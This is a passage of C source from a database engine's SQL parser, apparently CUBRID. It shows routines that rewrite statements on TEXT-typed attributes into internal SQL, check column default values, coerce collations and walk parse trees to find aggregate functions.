* => (main) drop class c;
*/
static PT_NODE *
pt_append_statements_on_drop_attributes (PARSER_CONTEXT * parser, PT_NODE * statement_list, const char *class_name_list)
{
PT_NODE *s1;
char *stmt = NULL;
stmt = pt_append_string (parser, NULL, "DROP CLASS ");
stmt = pt_append_string (parser, stmt, class_name_list);
s1 = pt_make_string_value (parser, stmt);
s1->etc = NULL;
if (statement_list)
{
s1->next = statement_list;
}
statement_list = s1;
return statement_list;
}
/*
* pt_append_statements_on_insert () -
* return: return a list of statement string or null on error
* parser(in): parser context
* stmt_node(in): parse tree for a insert statement
* class_name(in): class name to do insert
* attr_name(in): attr name to do insert
* value(in/out): value to do insert at the attr
* parameter(in): output parameter for the insert statement
*
* Note :
* rewrite rule is like this.
* insert into c (..., a, ...) values (..., v, ...);
* => (main) insert into c (..., a.object, ...) values (..., null, ...)
* into :obj1;
* => (post) insert into c_text_a_ values (:obj1, v) into :obj2;
* => (post) update c set a.object = :obj2 where c = :obj1;
*/
static PT_NODE *
pt_append_statements_on_insert (PARSER_CONTEXT * parser, PT_NODE * stmt_node, const char *class_name,
const char *attr_name, PT_NODE * value, PT_NODE * parameter)
{
PT_NODE *s1, *s2, *list;
PT_NODE *save_next;
char *text_class_name = NULL, *stmt = NULL;
char param1_name[256], param2_name[256];
char alias1_name[256];
unsigned int save_custom;
text_class_name = pt_append_string (parser, NULL, class_name);
text_class_name = pt_append_string (parser, text_class_name, "_text_");
text_class_name = pt_append_string (parser, text_class_name, attr_name);
if (!db_find_class (text_class_name))
{
PT_ERRORmf (parser, stmt_node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, text_class_name);
return NULL;
}
if (parameter && parameter->info.name.original)
{
sprintf (param1_name, "%s", parameter->info.name.original);
}
else
{
sprintf (param1_name, "%s_%p", "p1", stmt_node);
}
sprintf (param2_name, "%s_%p", "p2", stmt_node);
sprintf (alias1_name, "%s_%p", "c1", stmt_node);
save_custom = parser->custom_print;
parser->custom_print = parser->custom_print | PT_INTERNAL_PRINT;
stmt = pt_append_string (parser, NULL, "INSERT INTO ");
stmt = pt_append_string (parser, stmt, text_class_name);
stmt = pt_append_string (parser, stmt, " VALUES (:");
stmt = pt_append_string (parser, stmt, param1_name);
stmt = pt_append_string (parser, stmt, ", ");
stmt = pt_append_string (parser, stmt, parser_print_tree (parser, value));
stmt = pt_append_string (parser, stmt, ") INTO :");
stmt = pt_append_string (parser, stmt, param2_name);
stmt = pt_append_string (parser, stmt, "; ");
s1 = pt_make_string_value (parser, stmt);
parser->custom_print = save_custom;
stmt = pt_append_string (parser, NULL, "UPDATE ");
stmt = pt_append_string (parser, stmt, class_name);
stmt = pt_append_string (parser, stmt, " ");
stmt = pt_append_string (parser, stmt, alias1_name);
stmt = pt_append_string (parser, stmt, " SET [");
stmt = pt_append_string (parser, stmt, attr_name);
stmt = pt_append_string (parser, stmt, "].OBJECT = :");
stmt = pt_append_string (parser, stmt, param2_name);
stmt = pt_append_string (parser, stmt, " WHERE ");
stmt = pt_append_string (parser, stmt, alias1_name);
stmt = pt_append_string (parser, stmt, ".OBJECT = :");
stmt = pt_append_string (parser, stmt, param1_name);
s2 = pt_make_string_value (parser, stmt);
/* redefine the insert value */
save_next = value->next;
parser_free_subtrees (parser, value);
parser_reinit_node (value);
value->node_type = PT_VALUE;
value->type_enum = PT_TYPE_NULL;
value->next = save_next;
s1->etc = stmt_node;
s2->etc = stmt_node;
s1->next = s2;
list = stmt_node->info.insert.internal_stmts;
if (list == NULL)
{
stmt_node->info.insert.internal_stmts = s1;
}
else
{
while (list->next != NULL)
{
list = list->next;
}
list->next = s1;
}
list = s1;
return list;
}
/*
* pt_append_statements_on_update () -
* return: return a list of statement string or null on error
* parser(in): parser context
* stmt_node(in): parse tree for a update statement
* class_name(in): class name to do update
* attr_name(in): attr name to do update
* alias_name(in): alias for the class name
* value(in/out): value to do update at the attr
* where_ptr(in/out): pointer of a parse tree for the where clause of
* the update statement
*
* Note :
* rewrite rule is like this.
* update c set ..., a = v, ... where condtion
* => (pre) select (select sum(set{a.object}) from c where condition)
* into :obj1 from db_root
* => (pre) update c_text_a_ set tdata = v where tid in
* (select c from c where a.object in :obj1)
* => (main) update c set ..., a.object = a.object, ...
* where a.object in :obj1
*/
static PT_NODE *
pt_append_statements_on_update (PARSER_CONTEXT * parser, PT_NODE * stmt_node, const char *class_name,
const char *attr_name, const char *alias_name, PT_NODE * value, PT_NODE ** where_ptr)
{
PT_NODE *s1, *s2, *list;
PT_NODE *save_next;
DB_VALUE *param1_dbvalp;
char *text_class_name = NULL, *stmt = NULL;
char param1_name[256];
char alias1_name[256];
unsigned int save_custom;
text_class_name = pt_append_string (parser, NULL, class_name);
text_class_name = pt_append_string (parser, text_class_name, "_text_");
text_class_name = pt_append_string (parser, text_class_name, attr_name);
if (!db_find_class (text_class_name))
{
PT_ERRORmf (parser, stmt_node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, text_class_name);
return NULL;
}
sprintf (param1_name, "%s_%p", "p1", attr_name);
sprintf (alias1_name, "%s_%p", "c1", attr_name);
save_custom = parser->custom_print;
parser->custom_print = parser->custom_print | PT_INTERNAL_PRINT;
stmt = pt_append_string (parser, NULL, "SELECT {null}+(SELECT SUM(SET{[");
stmt = pt_append_string (parser, stmt, attr_name);
stmt = pt_append_string (parser, stmt, "].OBJECT}) FROM ");
stmt = pt_append_string (parser, stmt, class_name);
stmt = pt_append_string (parser, stmt, " ");
stmt = pt_append_string (parser, stmt, alias_name);
if (*where_ptr)
{
stmt = pt_append_string (parser, stmt, " WHERE ");
stmt = pt_append_string (parser, stmt, parser_print_tree (parser, *where_ptr));
}
stmt = pt_append_string (parser, stmt, ") INTO :");
stmt = pt_append_string (parser, stmt, param1_name);
stmt = pt_append_string (parser, stmt, " FROM db_root;");
s1 = pt_make_string_value (parser, stmt);
/* To resolve out parameter at compile time, put the parameter into the label table with null value */
param1_dbvalp = db_value_create ();
if (param1_dbvalp == NULL)
{
parser->custom_print = save_custom;
return NULL;
}
else
{
db_make_set (param1_dbvalp, db_set_create_basic (NULL, NULL));
if (pt_associate_label_with_value (param1_name, param1_dbvalp) != NO_ERROR)
{
parser->custom_print = save_custom;
return NULL;
}
}
stmt = pt_append_string (parser, NULL, "UPDATE ");
stmt = pt_append_string (parser, stmt, text_class_name);
stmt = pt_append_string (parser, stmt, " SET tdata = ");
stmt = pt_append_string (parser, stmt, ((value->node_type == PT_NAME && value->info.name.meta_class == PT_NORMAL)
? "tid." : ""));
stmt = pt_append_string (parser, stmt, parser_print_tree (parser, value));
stmt = pt_append_string (parser, stmt, " WHERE tid IN (SELECT ");
stmt = pt_append_string (parser, stmt, alias1_name);
stmt = pt_append_string (parser, stmt, " FROM ");
stmt = pt_append_string (parser, stmt, class_name);
stmt = pt_append_string (parser, stmt, " ");
stmt = pt_append_string (parser, stmt, alias1_name);
stmt = pt_append_string (parser, stmt, " WHERE [");
stmt = pt_append_string (parser, stmt, attr_name);
stmt = pt_append_string (parser, stmt, "].OBJECT IN :");
stmt = pt_append_string (parser, stmt, param1_name);
stmt = pt_append_string (parser, stmt, ")");
s2 = pt_make_string_value (parser, stmt);
parser->custom_print = save_custom;
/* redefine where clause if the clause is redefined at first */
if ((*where_ptr) == NULL || (*where_ptr)->etc != (*where_ptr))
{
if (*where_ptr)
{
parser_free_tree (parser, *where_ptr);
}
*where_ptr = parser_new_node (parser, PT_EXPR);
if (*where_ptr == NULL)
{
return NULL;
}
(*where_ptr)->info.expr.op = PT_IS_IN;
(*where_ptr)->info.expr.arg1 = pt_name (parser, attr_name);
(*where_ptr)->info.expr.arg2 = pt_make_parameter (parser, param1_name, 0);
(*where_ptr)->etc = (*where_ptr); /* mark to prevent multiple rewrite */
PT_NAME_INFO_SET_FLAG ((*where_ptr)->info.expr.arg1, PT_NAME_INFO_EXTERNAL);
}
/* redefine the assignment value */
save_next = value->next;
parser_free_subtrees (parser, value);
parser_reinit_node (value);
value->node_type = PT_NAME;
value->info.name.original = pt_append_string (parser, NULL, attr_name);
PT_NAME_INFO_SET_FLAG (value, PT_NAME_INFO_EXTERNAL);
value->next = save_next;
s1->etc = NULL;
s2->etc = NULL;
s1->next = s2;
list = stmt_node->info.update.internal_stmts;
if (list == NULL)
{
stmt_node->info.insert.internal_stmts = s1;
}
else
{
while (list->next != NULL)
list = list->next;
list->next = s1;
}
list = s1;
parser->custom_print = save_custom;
return list;
}
/*
* pt_append_statements_on_delete () -
* return: return a list of statement string or null on error
* parser(in): parser context
* stmt_node(in): parse tree for a delete statement
* class_name(in): class name to do delete
* attr_name(in): attr name to do delete
* alias_name(in): alias for the class name
* where_ptr(in/out): pointer of a parse tree for the where clause of
* the delete statement
*
* Note :
* rewrite rule is like this.
* delete from c where condition;
* => (pre) select (select sum(set{a.object}) from c where condition)
* into :obj1 from db_root
* => (pre) delete from c_text_a_ where tid in (select c from c where
* a.object in :obj1)
* => (main) delete from c where a.object in :obj1
*/
static PT_NODE *
pt_append_statements_on_delete (PARSER_CONTEXT * parser, PT_NODE * stmt_node, const char *class_name,
const char *attr_name, const char *alias_name, PT_NODE ** where_ptr)
{
PT_NODE *s1, *s2, *list;
DB_VALUE *param1_dbvalp;
char *text_class_name = NULL, *stmt = NULL;
char param1_name[256];
char alias1_name[256];
unsigned int save_custom;
text_class_name = pt_append_string (parser, NULL, class_name);
text_class_name = pt_append_string (parser, text_class_name, "_text_");
text_class_name = pt_append_string (parser, text_class_name, attr_name);
if (!db_find_class (text_class_name))
{
PT_ERRORmf (parser, stmt_node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, text_class_name);
return NULL;
}
sprintf (param1_name, "%s_%p", "p1", attr_name);
sprintf (alias1_name, "%s_%p", "c1", attr_name);
save_custom = parser->custom_print;
parser->custom_print = parser->custom_print | PT_INTERNAL_PRINT;
stmt = pt_append_string (parser, NULL, "SELECT {null}+(SELECT SUM(SET{[");
stmt = pt_append_string (parser, stmt, attr_name);
stmt = pt_append_string (parser, stmt, "].OBJECT}) FROM ");
stmt = pt_append_string (parser, stmt, class_name);
stmt = pt_append_string (parser, stmt, " ");
stmt = pt_append_string (parser, stmt, alias_name);
if (*where_ptr)
{
stmt = pt_append_string (parser, stmt, " WHERE ");
stmt = pt_append_string (parser, stmt, parser_print_tree (parser, *where_ptr));
}
stmt = pt_append_string (parser, stmt, ") INTO :");
stmt = pt_append_string (parser, stmt, param1_name);
stmt = pt_append_string (parser, stmt, " FROM db_root;");
s1 = pt_make_string_value (parser, stmt);
parser->custom_print = save_custom;
/* To resolve out parameter at compile time, put the parameter into the label table with null value */
param1_dbvalp = db_value_create ();
if (param1_dbvalp == NULL)
{
return NULL;
}
else
{
db_make_set (param1_dbvalp, db_set_create_basic (NULL, NULL));
if (pt_associate_label_with_value (param1_name, param1_dbvalp) != NO_ERROR)
{
return NULL;
}
}
stmt = pt_append_string (parser, NULL, "DELETE FROM ");
stmt = pt_append_string (parser, stmt, text_class_name);
stmt = pt_append_string (parser, stmt, " WHERE tid IN (SELECT ");
stmt = pt_append_string (parser, stmt, alias1_name);
stmt = pt_append_string (parser, stmt, " FROM ");
stmt = pt_append_string (parser, stmt, class_name);
stmt = pt_append_string (parser, stmt, " ");
stmt = pt_append_string (parser, stmt, alias1_name);
stmt = pt_append_string (parser, stmt, " WHERE [");
stmt = pt_append_string (parser, stmt, attr_name);
stmt = pt_append_string (parser, stmt, "].OBJECT IN :");
stmt = pt_append_string (parser, stmt, param1_name);
stmt = pt_append_string (parser, stmt, ")");
s2 = pt_make_string_value (parser, stmt);
/* redefine where clause if the clause is redefined at first */
if ((*where_ptr) == NULL || (*where_ptr)->etc != (*where_ptr))
{
if (*where_ptr)
{
parser_free_tree (parser, *where_ptr);
}
if ((*where_ptr = parser_new_node (parser, PT_EXPR)) == NULL)
{
return NULL;
}
(*where_ptr)->info.expr.op = PT_IS_IN;
(*where_ptr)->info.expr.arg1 = pt_name (parser, attr_name);
(*where_ptr)->info.expr.arg2 = pt_make_parameter (parser, param1_name, 0);
(*where_ptr)->etc = (*where_ptr); /* mark to prevent multiple rewrite */
PT_NAME_INFO_SET_FLAG ((*where_ptr)->info.expr.arg1, PT_NAME_INFO_EXTERNAL);
}
s1->etc = NULL;
s2->etc = NULL;
s1->next = s2;
list = stmt_node->info.delete_.internal_stmts;
if (list == NULL)
{
stmt_node->info.insert.internal_stmts = s1;
}
else
{
while (list->next != NULL)
list = list->next;
list->next = s1;
}
list = s1;
return list;
}
/*
* pt_resolve_insert_external () - create internal statements and
* rewrite a value to insert for TEXT typed attrs on into clause
* of a insert statement
* return: none
* parser(in): parser context
* insert(in): parse tree of a insert statement
*/
static void
pt_resolve_insert_external (PARSER_CONTEXT * parser, PT_NODE * insert)
{
PT_NODE *a, *v, *lhs, *rhs, *save_next;
PT_NODE *spec, *entity, *value;
const char *class_name, *attr_name;
char *text_class_name = NULL, param1_name[256];
spec = insert->info.insert.spec;
entity = (spec ? spec->info.spec.entity_name : NULL);
class_name = (entity ? entity->info.name.original : NULL);
if (class_name == NULL)
{
return;
}
a = insert->info.insert.attr_list;
if (insert->info.insert.is_value == PT_IS_SUBQUERY)
{
for (; a != NULL; a = a->next)
{
if (PT_IS_DOT_NODE (a))
{
PT_ERRORmf2 (parser, a, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CANT_COERCE_TO, "subquery", "text");
return;
}
}
}
else if (insert->info.insert.is_value == PT_IS_DEFAULT_VALUE)
{
for (; a != NULL; a = a->next)
{
if (PT_IS_DOT_NODE (a))
{
/* replace "attr.tdata" with "attr" */
save_next = a->next;
lhs = a->info.expr.arg1;
rhs = a->info.expr.arg2;
*a = *lhs;
a->next = save_next;
parser_reinit_node (lhs); /* not to free subtrees */
parser_free_tree (parser, lhs);
parser_free_tree (parser, rhs);
/* make a default value */
attr_name = a->info.name.original;
text_class_name = pt_append_string (parser, NULL, class_name);
text_class_name = pt_append_string (parser, text_class_name, "_text_");
text_class_name = pt_append_string (parser, text_class_name, attr_name);
if ((value = pt_make_default_value (parser, text_class_name, "tdata")) == NULL)
{
goto exit_on_error;
}
if (insert->info.insert.into_var == NULL)
{
sprintf (param1_name, "p1_%p", insert);
insert->info.insert.into_var = pt_make_parameter (parser, param1_name, 1);
}
if (pt_append_statements_on_insert (parser, insert, class_name, attr_name, value,
insert->info.insert.into_var) == NULL)
{
goto exit_on_error;
}
}
}
}
else
{
v = insert->info.insert.value_clause;
for (; a != NULL && v != NULL; a = a->next, v = v->next)
{
if (PT_IS_DOT_NODE (a))
{
/* replace "attr.tdata" to "attr" */
save_next = a->next;
lhs = a->info.expr.arg1;
rhs = a->info.expr.arg2;
*a = *lhs;
a->next = save_next;
parser_reinit_node (lhs); /* not to free subtrees */
parser_free_tree (parser, lhs);
parser_free_tree (parser, rhs);
/* if (pt_assignment_compatible(parser, attr, v)) */
attr_name = a->info.name.original;
if (a->type_enum != v->type_enum)
{
if (insert->info.insert.into_var == NULL)
{
sprintf (param1_name, "p1_%p", insert);
insert->info.insert.into_var = pt_make_parameter (parser, param1_name, 1);
}
if (pt_append_statements_on_insert (parser, insert, class_name, attr_name, v,
insert->info.insert.into_var) == NULL)
{
goto exit_on_error;
}
}
}
}
}
return;
exit_on_error:
PT_ERRORm (parser, insert, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return;
}
/*
* pt_resolve_update_external () - create internal statements and redefine
* a value to do update for TEXT typed attrs on assignment clause of
* a update statement
* return: none
* parser(in): parser context
* update(in): parse tree of a update statement
*/
static void
pt_resolve_update_external (PARSER_CONTEXT * parser, PT_NODE * update)
{
PT_NODE *a, *lhs, *rhs;
PT_NODE *spec, *entity, *alias;
DB_OBJECT *db_obj;
DB_ATTRIBUTE *db_att;
const char *class_name, *attr_name, *alias_name;
spec = update->info.update.spec;
entity = (spec ? spec->info.spec.entity_name : NULL);
class_name = (entity ? entity->info.name.original : NULL);
alias = (spec ? spec->info.spec.range_var : NULL);
alias_name = (alias ? alias->info.name.original : NULL);
if (class_name && (db_obj = db_find_class (class_name)))
{
for (a = update->info.update.assignment; a; a = a->next)
{
if (PT_IS_ASSIGN_NODE (a) && (lhs = a->info.expr.arg1) != NULL && (rhs = a->info.expr.arg2) != NULL)
{
if (PT_IS_NAME_NODE (lhs) && !PT_NAME_INFO_IS_FLAGED (lhs, PT_NAME_INFO_EXTERNAL))
{
attr_name = lhs->info.name.original;
db_att = db_get_attribute (db_obj, attr_name);
if (db_att && sm_has_text_domain (db_att, 0))
{
PT_NAME_INFO_SET_FLAG (lhs, PT_NAME_INFO_EXTERNAL);
if (pt_append_statements_on_update (parser, update, class_name, attr_name, alias_name, rhs,
&update->info.update.search_cond) == NULL)
{
goto exit_on_error;
}
}
}
}
}
}
return;
exit_on_error:
PT_ERRORm (parser, update, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return;
}
/*
* pt_resolve_delete_external () - create internal statements
* for TEXT typed attrs defined in class to do delete statement
* return: none
* parser(in): parser context
* delete(in): parse tree of a delete statement
*/
static void
pt_resolve_delete_external (PARSER_CONTEXT * parser, PT_NODE * delete)
{
PT_NODE *spec, *entity, *alias;
DB_OBJECT *db_obj;
DB_ATTRIBUTE *db_att;
const char *class_name, *alias_name;
spec = delete->info.delete_.spec;
entity = (spec ? spec->info.spec.entity_name : NULL);
class_name = (entity ? entity->info.name.original : NULL);
alias = (spec ? spec->info.spec.range_var : NULL);
alias_name = (alias ? alias->info.name.original : NULL);
if (class_name && (db_obj = db_find_class (class_name)))
{
db_att = db_get_attributes_force (db_obj);
while (db_att)
{
if (sm_has_text_domain (db_att, 0))
{
if (pt_append_statements_on_delete (parser, delete, class_name, db_attribute_name (db_att), alias_name,
&delete->info.delete_.search_cond) == NULL)
{
goto exit_on_error;
}
}
db_att = db_attribute_next (db_att);
}
}
return;
exit_on_error:
PT_ERRORm (parser, delete, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return;
}
#endif /* ENABLE_UNUSED_FUNCTION */
/*
* pt_resolve_default_external () - create internal statements
* for a TEXT typed attr to alter the default value
* return: none
* parser(in): parser context
* alter(in): parse tree of a alter statement
*/
static void
pt_resolve_default_external (PARSER_CONTEXT * parser, PT_NODE * alter)
{
PT_NODE *attr_name_list, *data_default_list, *stmt_list;
PT_NODE *a, *v;
PT_NODE *entity_name;
DB_OBJECT *class_;
DB_ATTRIBUTE *attr;
const char *class_name;
attr_name_list = alter->info.alter.alter_clause.ch_attr_def.attr_name_list;
data_default_list = alter->info.alter.alter_clause.ch_attr_def.data_default_list;
entity_name = alter->info.alter.entity_name;
class_name = (entity_name ? entity_name->info.name.original : NULL);
if (class_name && (class_ = db_find_class (class_name)) != NULL)
{
stmt_list = alter->info.alter.internal_stmts;
for (a = attr_name_list, v = data_default_list; a != NULL && v != NULL; a = a->next, v = v->next)
{
attr = db_get_attribute (class_, a->info.name.original);
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
if (attr && sm_has_text_domain (attr, 0))
{
stmt_list =
pt_append_statements_on_change_default (parser, stmt_list, alter, class_name, a->info.name.original, v);
if (stmt_list == NULL)
{
PT_ERRORm (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
}
}
#endif /* ENABLE_UNUSED_FUNCTION */
}
alter->info.alter.internal_stmts = stmt_list;
}
return;
}
/*
* pt_check_data_default () - checks data_default for semantic errors
*
* result : modified data_default
* parser(in) : parser context
* data_default_list(in) : data default node
*/
static PT_NODE *
pt_check_data_default (PARSER_CONTEXT * parser, PT_NODE * data_default_list)
{
PT_NODE *result;
PT_NODE *default_value;
PT_NODE *save_next;
PT_NODE *node_ptr;
PT_NODE *data_default;
PT_NODE *prev;
bool has_query;
if (pt_has_error (parser))
{
/* do nothing */
return data_default_list;
}
if (data_default_list == NULL || data_default_list->node_type != PT_DATA_DEFAULT)
{
/* do nothing */
return data_default_list;
}
prev = NULL;
has_query = false;
for (data_default = data_default_list; data_default; data_default = data_default->next)
{
save_next = data_default->next;
data_default->next = NULL;
default_value = data_default->info.data_default.default_value;
(void) parser_walk_tree (parser, default_value, pt_find_query, &has_query, NULL, NULL);
if (has_query)
{
PT_ERRORm (parser, default_value, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_SUBQUERY_NOT_ALLOWED_IN_DEFAULT_CLAUSE);
/* skip other checks */
goto end;
}
result = pt_semantic_type (parser, data_default, NULL);
if (result != NULL)
{
/* change data_default */
if (prev)
{
prev->next = result;
}
else
{
data_default_list = result;
}
data_default = result;
}
else
{
/* an error has occurred, skip other checks */
goto end;
}
node_ptr = NULL;
(void) parser_walk_tree (parser, default_value, pt_find_default_expression, &node_ptr, NULL, NULL);
if (node_ptr != NULL && node_ptr != default_value)
{
/* nested default expressions are not supported */
PT_ERRORmf (parser, node_ptr, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DEFAULT_NESTED_EXPR_NOT_ALLOWED,
pt_show_binopcode (node_ptr->info.expr.op));
goto end;
}
if (PT_IS_EXPR_NODE (default_value) && default_value->info.expr.op == PT_TO_CHAR
&& PT_IS_EXPR_NODE (default_value->info.expr.arg1))
{
int op_type = -1;
if (PT_IS_EXPR_NODE (default_value->info.expr.arg2))
{
/* nested expressions in arg2 are not supported */
op_type = default_value->info.expr.arg2->info.expr.op;
}
else if (node_ptr == NULL)
{
/* nested expressions in arg1 are not supported except sys date, time and user. */
op_type = default_value->info.expr.arg1->info.expr.op;
}
if (op_type != -1)
{
PT_ERRORmf (parser, node_ptr, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DEFAULT_NESTED_EXPR_NOT_ALLOWED,
pt_show_binopcode ((PT_OP_TYPE) op_type));
goto end;
}
}
node_ptr = NULL;
parser_walk_tree (parser, default_value, pt_find_aggregate_function, &node_ptr, NULL, NULL);
if (node_ptr != NULL)
{
PT_ERRORmf (parser,
node_ptr,
MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_DEFAULT_EXPR_NOT_ALLOWED,
fcode_get_lowercase_name (node_ptr->info.function.function_type));
goto end;
}
end:
data_default->next = save_next;
prev = data_default;
}
return data_default_list;
}
/*
* pt_attr_check_default_cs_coll () - checks attribute's collation and
* codeset. If necessary, they are replaced with the
* ones passed as arguments.
*
* parser(in): parser context
* attr(in/out) : data default node
* default_cs(in): codeset of the attribute's class, or override value
* if special value = -1 is given, then charset implied by
* default_coll argument is used
* default_coll(in): collation of the attribute's class, or override value
*/
int
pt_attr_check_default_cs_coll (PARSER_CONTEXT * parser, PT_NODE * attr, int default_cs, int default_coll)
{
int attr_cs = attr->data_type->info.data_type.units;
int attr_coll = attr->data_type->info.data_type.collation_id;
LANG_COLLATION *lc;
int err = NO_ERROR;
assert (default_coll >= 0);
if (attr->data_type->info.data_type.has_cs_spec)
{
if (attr->data_type->info.data_type.has_coll_spec == false)
{
/* use binary collation of attribute's charset specifier */
attr_coll = LANG_GET_BINARY_COLLATION (attr_cs);
}
}
else if (attr->data_type->info.data_type.has_coll_spec)
{
lc = lang_get_collation (attr_coll);
assert (lc != NULL);
attr_cs = lc->codeset;
}
else
{
/* attribute does not have a codeset or collation spec; use defaults */
attr_coll = default_coll;
if (default_cs == -1)
{
lc = lang_get_collation (default_coll);
assert (lc != NULL);
attr_cs = lc->codeset;
}
else
{
attr_cs = default_cs;
}
}
if (attr->type_enum == PT_TYPE_ENUMERATION && attr->data_type != NULL)
{
/* coerce each element of enum to actual attribute codeset */
PT_NODE *elem = NULL;
elem = attr->data_type->info.data_type.enumeration;
while (elem != NULL)
{
assert (elem->node_type == PT_VALUE);
assert (PT_HAS_COLLATION (elem->type_enum));
if ((elem->data_type != NULL && elem->data_type->info.data_type.units != attr_cs)
|| (elem->data_type == NULL && attr_cs != LANG_SYS_CODESET))
{
PT_NODE *dt;
if (elem->data_type != NULL)
{
dt = parser_copy_tree (parser, elem->data_type);
}
else
{
dt = parser_new_node (parser, PT_DATA_TYPE);
dt->type_enum = elem->type_enum;
dt->info.data_type.precision = DB_DEFAULT_PRECISION;
}
dt->info.data_type.collation_id = attr_coll;
dt->info.data_type.units = attr_cs;
if (attr_cs == INTL_CODESET_RAW_BYTES)
{
/* conversion from multi-byte to binary must keep text */
if (elem->info.value.data_value.str != NULL)
{
dt->info.data_type.precision = elem->info.value.data_value.str->length;
}
else if (elem->info.value.db_value_is_initialized)
{
dt->info.data_type.precision = db_get_string_size (&(elem->info.value.db_value));
}
}
err = pt_coerce_value (parser, elem, elem, elem->type_enum, dt);
if (err != NO_ERROR)
{
return err;
}
parser_free_tree (parser, dt);
}
elem = elem->next;
}
}
attr->data_type->info.data_type.units = attr_cs;
attr->data_type->info.data_type.collation_id = attr_coll;
return err;
}
/*
* pt_find_query () - search for a query
*
* result : parser tree node
* parser(in) : parser
* tree(in) : parser tree node
* arg(in/out) : true, if the query is found
* continue_walk : Continue walk.
*/
static PT_NODE *
pt_find_query (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
bool *has_query = (bool *) arg;
assert (has_query != NULL);
if (PT_IS_QUERY (tree))
{
*has_query = true;
*continue_walk = PT_STOP_WALK;
}
return tree;
}
/*
* pt_find_default_expression () - find a default expression
*
* result :
* parser(in) :
* tree(in) :
* arg(in) : will point to default expression if any is found
* continue_walk :
*/
static PT_NODE *
pt_find_default_expression (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
PT_NODE **default_expr = (PT_NODE **) arg, *node = NULL;
if (tree == NULL || !PT_IS_EXPR_NODE (tree))
{
*continue_walk = PT_STOP_WALK;
return tree;
}
if (tree->info.expr.op == PT_TO_CHAR && tree->info.expr.arg1 != NULL && PT_IS_EXPR_NODE (tree->info.expr.arg1))
{
/* The correctness of TO_CHAR expression is done a little bit later after obtaining system time. */
assert (tree->info.expr.arg2 != NULL);
node = tree->info.expr.arg1;
}
else
{
node = tree;
}
switch (node->info.expr.op)
{
case PT_SYS_TIME:
case PT_SYS_DATE:
case PT_SYS_DATETIME:
case PT_SYS_TIMESTAMP:
case PT_CURRENT_TIME:
case PT_CURRENT_DATE:
case PT_CURRENT_TIMESTAMP:
case PT_CURRENT_DATETIME:
case PT_USER:
case PT_CURRENT_USER:
case PT_UNIX_TIMESTAMP:
*default_expr = tree;
*continue_walk = PT_STOP_WALK;
break;
default:
break;
}
return tree;
}
/*
* pt_find_aggregate_function () - check if current expression contains an
* aggregate function
*
* result :
* parser(in) :
* tree(in) :
* arg(in) : will point to an aggregate function if any is found
* continue_walk :
*/
static PT_NODE *
pt_find_aggregate_function (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
PT_NODE **agg_function = (PT_NODE **) arg;
if (tree == NULL || (!PT_IS_EXPR_NODE (tree) && !PT_IS_FUNCTION (tree)))
{
*continue_walk = PT_STOP_WALK;
}
if (pt_is_aggregate_function (parser, tree))
{
*agg_function = tree;
*continue_walk = PT_STOP_WALK;
}
return tree;
}
/*
* pt_find_aggregate_analytic_pre ()
* - check if current expression contains an aggregate or
* analytic function
*
* result :
* parser(in) :
* tree(in) :
* arg(in) : will point to the function if any is found
* continue_walk :
*/
static PT_NODE *
pt_find_aggregate_analytic_pre (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
PT_NODE **function = (PT_NODE **) arg;
if (*continue_walk == PT_STOP_WALK)
{
return tree;
}
assert (*function == NULL);
if (tree && PT_IS_QUERY_NODE_TYPE (tree->node_type))
{
PT_NODE *find = NULL;
/* For sub-queries, searching is limited to range of WHERE clause */
find = pt_find_aggregate_analytic_in_where (parser, tree);
if (find)
{
*function = find;
}
/*
* Don't search children nodes of this query node, since
* pt_find_aggregate_analytic_in_where already did it.
* We may continue walking to search in the rest parts,
* See pt_find_aggregate_analytic_post.
*/
*continue_walk = PT_STOP_WALK;
}
else if (PT_IS_FUNCTION (tree))
{
if (pt_is_aggregate_function (parser, tree) || pt_is_analytic_function (parser, tree))
{
*function = tree;
*continue_walk = PT_STOP_WALK;
}
}
return tree;
}
/*
* pt_find_aggregate_analytic_post ()
*
* result :
* parser(in) :
* tree(in) :
* arg(in) :
* continue_walk :
*/
static PT_NODE *
pt_find_aggregate_analytic_post (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
PT_NODE **function = (PT_NODE **) arg;
if (tree && PT_IS_QUERY_NODE_TYPE (tree->node_type) && *function == NULL)
{
/* Need to search the rest part of tree */
*continue_walk = PT_CONTINUE_WALK;
}
return tree;
}
/*
* pt_find_aggregate_analytic_in_where ()
* - find an aggregate or analytic function in where clause
*
* result : point to the found function if any; NULL otherwise
* parser(in) :
* node(in) :
* continue_walk :
*
* [Note]
* This function will search whether an aggregate or analytic function exists
* in WHERE clause of below statements:
* INSERT, DO, SET, DELETE, SELECT, UNION, DIFFERENCE, INTERSECTION, and
* MERGE.
* It stops searching when meets the first aggregate or analytic function.
*
* 1) For below node types, searching is limited to child node who containing
* WHERE clause:
* PT_DO, PT_DELETE, PT_SET_SESSION_VARIABLES, PT_SELECT
*
* 2) For below node types, searching is executed on its args:
* PT_UNION, PT_DIFFERENCE, PT_INTERSECTION
*
* 3) For below node types, searching is executed on its all nested nodes:
* PT_FUNCTION, PT_EXPR, PT_MERGE, PT_INSERT
*/
static PT_NODE *
